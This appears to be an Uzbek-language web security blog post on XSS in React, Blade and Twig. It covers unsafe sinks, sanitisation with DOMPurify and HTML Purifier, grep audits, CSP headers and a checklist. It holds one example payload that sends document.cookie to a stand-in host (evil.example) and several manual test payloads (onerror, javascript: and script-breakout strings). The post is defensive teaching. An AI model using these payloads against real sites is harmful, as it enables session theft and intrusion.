Asosiy matnga o'tish
Blog

Veb

XSS React va Blade'da: framework himoyasi qayerda tugaydi

React va Blade ma'lumotni avtomatik ekranlaydi, lekin dangerouslySetInnerHTML, {!! !!}, javascript: havolalar va markdown bu himoyani chetlab o'tadi. Tekshirish va tuzatish yo'llari.

· 10 daq. o'qish

Foto: Photos by V2_, Lab for the Unstable Media as part of their 3, CC BY-SA 4.0 · Wikimedia Commons

Cross-site scripting (XSS) — hujumchi sizning sahifangizda o'z JavaScript kodini bajara oladigan zaiflik. Bu kod foydalanuvchining brauzerida, sizning domeningiz nomidan ishlaydi: sahifadagi ma'lumotlarni o'qiydi, foydalanuvchi nomidan so'rov yuboradi, soxta login formasini ko'rsatadi.

Zamonaviy frameworklar bu muammoning katta qismini hal qilgan. React JSX ichidagi matnni avtomatik ekranlaydi, Laravel Blade'dagi {{ }} va Twig'dagi {{ }} ham shunday qiladi. Shuning uchun ko'pchilik "bizda XSS bo'lishi mumkin emas" deb hisoblaydi. Amalda esa XSS deyarli har doim frameworkning avtomatik himoyasidan ataylab chiqilgan joylarda topiladi. Ushbu maqolada shu joylarni birma-bir ko'rib chiqamiz.

XSS turlari qisqacha

  • Reflected (aks etuvchi) XSS — zararli kod so'rovning o'zida keladi (masalan, URL parametrida) va javobda darhol qaytariladi. Hujumchi qurbonni maxsus havolani ochishga undaydi.
  • Stored (saqlanuvchi) XSS — zararli kod bazaga yoziladi (izoh, profil nomi, mahsulot tavsifi) va uni ko'rgan har bir foydalanuvchida bajariladi. Bu turi xavfliroq, chunki havola yuborish shart emas va ko'pincha administratorlar ham qurbon bo'ladi.
  • DOM-based XSS — server javobi xavfsiz, lekin frontend kodi URL'dagi yoki boshqa manbadagi ma'lumotni xavfli usulda DOM'ga yozadi (innerHTML, document.write, location.hash).

Nima uchun bu ekspertiza uchun muhim

XSS OWASP Top 10 (2021) ro'yxatida A03 "Injection" toifasiga kiradi va CWE-79 sifatida tasniflanadi. Rasmiy ekspertizada barcha kiritish maydonlari, URL parametrlari, fayl nomlari va API javoblari XSS uchun sinab ko'riladi. Ayniqsa stored XSS — masalan, oddiy foydalanuvchi kiritgan matn admin panelida bajarilsa — jiddiy topilma hisoblanadi, chunki u administrator sessiyasi orqali butun tizimga yo'l ochishi mumkin.

Bundan tashqari, ekspertiza Content-Security-Policy headerining bor-yo'qligini ham alohida tekshiradi. CSP XSS'ga qarshi ikkinchi himoya qatlami hisoblanadi va quyida unga ham to'xtalamiz.

React'da XSS qayerdan kiradi

dangerouslySetInnerHTML

React'da HTML'ni to'g'ridan-to'g'ri qo'yishning yagona yo'li — dangerouslySetInnerHTML. Nomi ataylab qo'rqinchli qilingan, lekin u baribir ko'p ishlatiladi: CMS'dan kelgan maqola matni, WYSIWYG muharrir natijasi, serverdan kelgan "formatlangan" xabar.

// Xavfli: description foydalanuvchidan kelgan
<div dangerouslySetInnerHTML={{ __html: product.description }} />

Agar description ichida <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> bo'lsa, u bajariladi. Yechim — HTML'ni DOMPurify kabi kutubxona bilan tozalash:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(product.description, {
  USE_PROFILES: { html: true },
});
<div dangerouslySetInnerHTML={{ __html: clean }} />

Yaxshiroq variant — HTML'ni saqlashda serverda ham tozalash, ko'rsatishda esa frontendda yana bir marta tozalash.

href va src'dagi javascript: havolalar

React matnni ekranlaydi, lekin atribut qiymatining ma'nosini tekshirmaydi. Foydalanuvchi profilida "veb-sayt" maydoni bo'lsa:

<a href={user.website}>Sayt</a>

va u javascript:alert(document.domain) kiritsa, havolani bosish kodni bajaradi. React'ning yangi versiyalari bunday havolalar haqida ogohlantiradi, lekin bunga tayanmang. URL sxemasini o'zingiz tekshiring:

function safeUrl(value) {
  try {
    const url = new URL(value, window.location.origin);
    return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : '#';
  } catch {
    return '#';
  }
}

<a href={safeUrl(user.website)} rel="noopener noreferrer">Sayt</a>

Xuddi shu qoida iframe src, window.location = ... va window.open(...) uchun ham amal qiladi.

DOM'ga to'g'ridan-to'g'ri yozish

useRef orqali ref.current.innerHTML = ..., uchinchi tomon kutubxonalariga (grafik, xarita, tooltip) HTML satr uzatish, eval va new Function — bularning hammasi React himoyasidan tashqarida. Tooltip kutubxonalarining ko'pchiligi content sifatida HTML qabul qiladi; foydalanuvchi ma'lumotini u yerga uzatishdan oldin ekranlang yoki matn rejimini yoqing.

Server tomonda render (SSR) va boshlang'ich holat

Next.js yoki boshqa SSR yechimlarida server holatni <script> ichiga JSON sifatida joylashtiradi. Agar bu qo'lda JSON.stringify bilan qilinsa, ma'lumot ichidagi </script> satri skript blokini yopib, yangi kod qo'shishi mumkin. Frameworkning o'z mexanizmidan foydalaning yoki < belgisini < ga almashtiring.

Blade va Twig'da XSS qayerdan kiradi

{!! !!} va |raw

Blade'da {{ $x }} qiymatni htmlspecialchars orqali ekranlaydi. {!! $x !!} esa ekranlamaydi. Twig'da bunga |raw filtri mos keladi.

{{-- Xavfli --}}
<div class="bio">{!! $user->bio !!}</div>

{{-- Xavfsiz: matn sifatida --}}
<div class="bio">{{ $user->bio }}</div>

Agar HTML haqiqatan kerak bo'lsa (masalan, admin yozgan maqola), uni saqlashda tozalang. PHP uchun HTML Purifier yoki shunga o'xshash kutubxona mos keladi. Hech qachon foydalanuvchi ma'lumotini {!! !!} bilan tozalamasdan chiqarmang.

Kontekst muhim: JavaScript va atributlar

{{ }} HTML kontekstida xavfsiz, lekin JavaScript ichida emas:

{{-- Xavfli: JS kontekstida HTML ekranlash yetarli emas --}}
<script>
  const name = '{{ $user->name }}';
</script>

{{-- Xavfsiz --}}
<script>
  const name = @json($user->name);
</script>

@json (yoki Js::from) qiymatni JavaScript uchun to'g'ri kodlaydi. Shuningdek, onclick="..." kabi inline hodisa atributlariga foydalanuvchi ma'lumotini qo'ymang va atribut qiymatlarini har doim qo'shtirnoq ichida yozing.

Inertia

Inertia ishlatilsa, sahifa props'lari data-page atributiga JSON sifatida yoziladi va Laravel ularni ekranlaydi. Xavf frontend tomonda — React komponentida yuqorida aytilgan xatolar qilinsa.

Markdown: yashirin HTML eshigi

Ko'p loyihalar izohlar, tavsiflar yoki bilim bazasi uchun Markdown ishlatadi. Muammo shundaki, Markdown standarti ichida xom HTML'ga ruxsat beradi va [havola](javascript:...) ko'rinishidagi havolalarni ham qabul qiladi.

Laravel'da Str::markdown() CommonMark'dan foydalanadi va xavfsiz sozlamalarni qabul qiladi:

use Illuminate\Support\Str;

$html = Str::markdown($comment->body, [
    'html_input' => 'strip',
    'allow_unsafe_links' => false,
]);

Node'da marked yoki markdown-it natijasini DOMPurify orqali o'tkazing. markdown-it da html: false sozlamasi (standart holat) xom HTML'ni o'chiradi, lekin havolalarni baribir tekshirish kerak.

Fayl nomlari, SVG va boshqa kutilmagan manbalar

XSS faqat matn maydonlaridan kelmaydi:

  • Fayl nomi — yuklangan fayl nomi ro'yxatda {!! !!} bilan ko'rsatilsa.
  • SVG fayllar — SVG ichida <script> bo'lishi mumkin. Agar foydalanuvchi yuklagan SVG sizning domeningizdan to'g'ridan-to'g'ri ochilsa, skript bajariladi. Batafsil: fayl yuklash zaifliklari.
  • Xato xabarlari — "<qidiruv so'zi> topilmadi" kabi xabarlar.
  • PDF va eksport — HTML'dan PDF yasaydigan kutubxonalarda ham kiritilgan HTML bajarilishi mumkin.

O'zingiz qanday tekshirishingiz mumkin

Kodni qidirish

# React / JS
grep -rnE "dangerouslySetInnerHTML|innerHTML\s*=|outerHTML|insertAdjacentHTML|document\.write|eval\(|new Function" src/ resources/js/

# Blade / Twig
grep -rnE "\{!!" resources/views/
grep -rnE "\|raw" templates/

# href'ga dinamik qiymat
grep -rnE "href=\{[^}\"']+\}" resources/js/ src/

Har bir natijada ma'lumot qayerdan kelishini kuzating: foydalanuvchimi, adminmi, tashqi API'mi?

Qo'lda sinov

Test muhitida har bir matn maydoniga, URL parametriga va fayl nomiga oddiy belgi qo'ying va javobda qanday chiqishini ko'ring:

"><img src=x onerror=alert(document.domain)>
javascript:alert(document.domain)
</script><script>alert(1)</script>

Keyin sahifa manbasini (view-source:) emas, DevTools'dagi DOM'ni ko'ring — belgi matn sifatida (&lt;img) ko'rinsa yaxshi, haqiqiy teg sifatida paydo bo'lsa, zaiflik bor. Stored XSS uchun ma'lumot boshqa rol (masalan, admin) ko'radigan sahifalarda ham tekshiring.

Ikkinchi qatlam: Content-Security-Policy

Kodni tuzatish — asosiy himoya. CSP esa xato qolib ketgan taqdirda zararni cheklaydigan ikkinchi qatlam. To'g'ri sozlangan CSP inline skriptlar va begona manbalardan yuklanadigan skriptlarni bloklaydi.

nginx misoli:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;

Agar ilovada inline skriptlar bo'lsa (Vite dev, Inertia boshlang'ich holati, analitika), 'unsafe-inline' qo'shish o'rniga nonce'dan foydalaning. Laravel'da Vite Vite::useCspNonce() orqali nonce'ni o'z teglariga qo'shadi va siz shu nonce'ni CSP headeriga yozasiz. Avval Content-Security-Policy-Report-Only bilan sinab, keyin majburiy rejimga o'ting. Batafsil: xavfsizlik headerlari: CSP va HSTS.

Qo'shimcha choralar:

  • Sessiya cookie'si HttpOnly bo'lsin — shunda skript uni o'qiy olmaydi.
  • Tokenlarni localStorage da saqlamang, chunki XSS ularni bevosita o'qiydi.

Framework ekranlashi — sukut bo'yicha himoya. XSS esa har doim kimdir bu sukutni ataylab o'chirgan joyda paydo bo'ladi.

Qisqa checklist

  • Barcha dangerouslySetInnerHTML, {!! !!}, |raw, v-html va innerHTML joylari ko'rib chiqilgan.
  • Foydalanuvchi HTML'i DOMPurify yoki HTML Purifier bilan tozalanadi.
  • href, src va redirect'larga faqat http, https, mailto sxemalari ruxsat etiladi.
  • Blade'da JS kontekstida @json yoki Js::from ishlatiladi.
  • Markdown xom HTML'siz va xavfli havolalarsiz render qilinadi.
  • SVG va boshqa yuklangan fayllar alohida domen yoki Content-Disposition: attachment bilan beriladi.
  • Stored XSS admin panelida ham tekshirilgan.
  • CSP o'rnatilgan, 'unsafe-inline' o'rniga nonce ishlatiladi.
  • Sessiya cookie'lari HttpOnly, Secure, tokenlar localStorage da emas.

Xulosa

React va Blade XSS'ga qarshi kuchli boshlang'ich himoya beradi, lekin ularning har birida "himoyani o'chirish" tugmasi bor. Zaifliklar aynan shu tugmalar bosilgan joylarda topiladi: dangerouslySetInnerHTML, {!! !!}, tekshirilmagan URL'lar va markdown. Bu joylarni grep bilan topish, tozalash va CSP qo'shish — ekspertizadan oldin bajarilishi kerak bo'lgan aniq va o'lchanadigan ish.

Ilovangizdagi XSS xavfli joylarni ekspertizadan oldin aniqlamoqchimisiz? Skanerlash uchun ariza qoldiring — Claude AI agenti frontend va shablonlardagi xavfli naqshlarni topadi, mutaxassisimiz ularni tasdiqlab, tuzatishga yordam beradi.